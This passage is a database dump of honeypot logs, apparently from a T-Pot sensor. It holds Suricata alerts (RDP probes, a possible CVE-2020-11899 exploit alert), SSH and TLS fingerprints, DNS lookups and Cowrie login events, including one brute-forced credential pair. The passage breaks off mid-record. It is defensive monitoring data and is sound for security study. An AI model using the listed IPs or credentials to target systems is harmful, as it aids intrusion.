34576	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:02:29.967054+03	2021-09-20 15:15:02.074694+03	{"_id": "rAYWA3wBvYTbRNuEElba", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:29.712355+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751952457379, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8FAAAAAAAAAAAAAAAAAAIEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:29.967054Z", "@timestamp": "2021-09-20T12:02:29.967Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
34577	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:02:29.712355+03	2021-09-20 15:15:02.075664+03	{"_id": "rgYWA3wBvYTbRNuEElbb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:29.712355+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751952457379, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:29.712355Z", "@timestamp": "2021-09-20T12:02:29.712Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34578	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:02:30.332599+03	2021-09-20 15:15:02.076694+03	{"_id": "rwYWA3wBvYTbRNuEElbb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:29.712355+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 440}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751952457379, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8FAAAAAAAAAAAAAAAAAAIEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:30.332599Z", "@timestamp": "2021-09-20T12:02:30.332Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
34579	119.29.153.168	109.199.241.180	Fatt	2021-09-20 15:02:32.523693+03	2021-09-20 15:15:02.077687+03	{"_id": "uQYWA3wBvYTbRNuEG1a1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55458, "dest_port": 22, "timestamp": "2021-09-20T12:02:32.523693", "@timestamp": "2021-09-20T12:02:32.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34580	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:02:02.950338+03	2021-09-20 15:15:02.079664+03	{"_id": "egYVA3wBvYTbRNuEqVZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:01.127865+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 259, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 254624858239865, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58119, "dest_port": 3389, "timestamp": "2021-09-20T12:02:02.950338Z", "@timestamp": "2021-09-20T12:02:02.950Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34581	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:02:04.171688+03	2021-09-20 15:15:02.080665+03	{"_id": "ewYVA3wBvYTbRNuErFYh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "41f73699bf9e", "@version": "1", "duration": 2.9060988426208496, "timestamp": "2021-09-20T12:02:04.171688Z", "@timestamp": "2021-09-20T12:02:04.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34582	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:04.753376+03	2021-09-20 15:15:02.081665+03	{"_id": "fAYVA3wBvYTbRNuErlZH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35986, "dest_port": 443, "timestamp": "2021-09-20T12:02:04.753376", "@timestamp": "2021-09-20T12:02:04.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34584	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:05.356813+03	2021-09-20 15:15:02.083664+03	{"_id": "iQYVA3wBvYTbRNuEslYy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35988, "dest_port": 443, "timestamp": "2021-09-20T12:02:05.356813", "@timestamp": "2021-09-20T12:02:05.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34585	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:02:02.868944+03	2021-09-20 15:15:02.084664+03	{"_id": "eAYVA3wBvYTbRNuEqFY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [operador/123] failed", "session": "41f73699bf9e", "@version": "1", "password": "123", "username": "operador", "timestamp": "2021-09-20T12:02:02.868944Z", "@timestamp": "2021-09-20T12:02:02.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34586	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:02:02.950338+03	2021-09-20 15:15:02.085695+03	{"_id": "eQYVA3wBvYTbRNuEqVZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:01.127865+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 259, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 254624858239865, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58119, "dest_port": 3389, "timestamp": "2021-09-20T12:02:02.950338Z", "@timestamp": "2021-09-20T12:02:02.950Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34587	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:02:04.704095+03	2021-09-20 15:15:02.087665+03	{"_id": "ggYVA3wBvYTbRNuEsVYn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24709, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2550, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 582283618465597, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56430, "timestamp": "2021-09-20T12:02:04.704095Z", "@timestamp": "2021-09-20T12:02:04.704Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34588	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:02:05.303288+03	2021-09-20 15:15:02.088665+03	{"_id": "hQYVA3wBvYTbRNuEsVYo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33663, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2549, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2207142761044244, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55790, "timestamp": "2021-09-20T12:02:05.303288Z", "@timestamp": "2021-09-20T12:02:05.303Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34589	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:02:05.399166+03	2021-09-20 15:15:02.089665+03	{"_id": "iAYVA3wBvYTbRNuEslYx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35988, "timestamp": "2021-09-20T12:02:05.399166", "@timestamp": "2021-09-20T12:02:05.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34590	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:02:05.301332+03	2021-09-20 15:15:02.091665+03	{"_id": "hAYVA3wBvYTbRNuEsVYn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33663, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2207142761044244, "@version": "1", "in_iface": "enp5s0", "src_port": 55790, "dest_port": 53, "timestamp": "2021-09-20T12:02:05.301332Z", "@timestamp": "2021-09-20T12:02:05.301Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34591	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:02:04.793575+03	2021-09-20 15:15:02.092664+03	{"_id": "hwYVA3wBvYTbRNuEslYx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35986, "timestamp": "2021-09-20T12:02:04.793575", "@timestamp": "2021-09-20T12:02:04.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34592	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:02:28.610113+03	2021-09-20 15:15:02.094665+03	{"_id": "pQYWA3wBvYTbRNuEC1YH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:28.610113+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557457026881, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:28.610113Z", "@timestamp": "2021-09-20T12:02:28.610Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34593	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:02:29.720754+03	2021-09-20 15:15:02.095665+03	{"_id": "rQYWA3wBvYTbRNuEElba", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:29.712355+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751952457379, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:02:29.720754Z", "@timestamp": "2021-09-20T12:02:29.720Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34594	157.245.53.4	109.199.241.180	Suricata	2021-09-20 15:02:50.595954+03	2021-09-20 15:15:02.096664+03	{"_id": "2wYWA3wBvYTbRNuEYVYD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:02:50.236185+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 76662891518617, "payload": "AAADVAUUU7fy0HXbWDp/jLijmIvqpAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABPs6+tLQ==", "@version": "1", "in_iface": "enp5s0", "metadata": 